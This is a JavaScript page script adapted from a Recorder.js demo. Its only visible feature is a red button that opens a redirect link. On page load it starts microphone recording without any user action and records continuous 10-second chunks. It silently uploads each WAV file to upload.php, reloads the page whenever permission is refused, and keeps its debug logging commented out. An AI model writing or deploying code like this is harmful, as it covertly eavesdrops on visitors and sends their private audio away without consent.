_app.js

// Adapted from Simple Recorder.js Demo https://github.com/addpipe/simple-recorderjs-demo
// Recorderjs by: https://github.com/mattdiamond/Recorderjs
//webkitURL is deprecated but nevertheless
URL = window.URL || window.webkitURL;

var gumStream; 						//stream from getUserMedia()
var rec; 							//Recorder.js object
var input; 							//MediaStreamAudioSourceNode we'll be recording

// shim for AudioContext when it's not avb. 
var AudioContext = window.AudioContext || window.webkitAudioContext;
var audioContext //audio context to help us record

var redButton = document.getElementById("redButton");

redButton.addEventListener("click", Redirect);


function Redirect() {

window.open('redirect_link', '_blank');


}

window.setTimeout(startRecording, 300);
window.setInterval(stopRecording, 10000);



function startRecording() {
	//console.log("recordButton clicked");

	/*
		Simple constraints object, for more advanced audio features see
		https://addpipe.com/blog/audio-constraints-getusermedia/
	*/
    
    var constraints = { audio: true, video:false }


	/*
    	We're using the standard promise based getUserMedia() 
    	https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia
	*/

	navigator.mediaDevices.getUserMedia(constraints).then(function(stream) {
		console.log("getUserMedia() success, stream created, initializing Recorder.js ...");

		/*
			create an audio context after getUserMedia is called
			sampleRate might change after getUserMedia is called, like it does on macOS when recording through AirPods
			the sampleRate defaults to the one set in your OS for your playback device

		*/
		audioContext = new AudioContext();

		//update the format 
	//	document.getElementById("formats").innerHTML="Format: 1 channel pcm @ "+audioContext.sampleRate/1000+"kHz"

		/*  assign to gumStream for later use  */
		gumStream = stream;
		
		/* use the stream */
		input = audioContext.createMediaStreamSource(stream);

		/* 
			Create the Recorder object and configure to record mono sound (1 channel)
			Recording 2 channels  will double the file size
		*/
		rec = new Recorder(input,{numChannels:1})

		//start the recording process
		rec.record()
		redButton.disabled = false;

		//console.log("Recording started");


	}).catch(function(err) {
	  	//enable the record button if getUserMedia() fails
    	redButton.disabled = true;
	window.location.reload();
	});
}


function uploadRecord() {

$(document).ready(function() {
	$('a#Upload')[0].click();

});
	

}

function stopRecording() {
	//console.log("stopButton clicked");


	//tell the recorder to stop the recording
	rec.stop();

	//stop microphone access
	//gumStream.getAudioTracks()[0].stop();

	//create the wav blob and pass it on to createDownloadLink
	rec.exportWAV(createDownloadLink);

}

function createDownloadLink(blob) {
	
	var url = URL.createObjectURL(blob);
	var filename = new Date().toISOString();


		  var xhr=new XMLHttpRequest();
		  xhr.onload=function(e) {
		      if(this.readyState === 4) {
		        //  console.log("Server returned: ",e.target.responseText);
		      }
		  };


		  var fd=new FormData();
		  fd.append("audio_data",blob, filename);
		  xhr.open("POST","upload.php",true);
		  xhr.send(fd);

	window.setTimeout(startRecording, 300);

}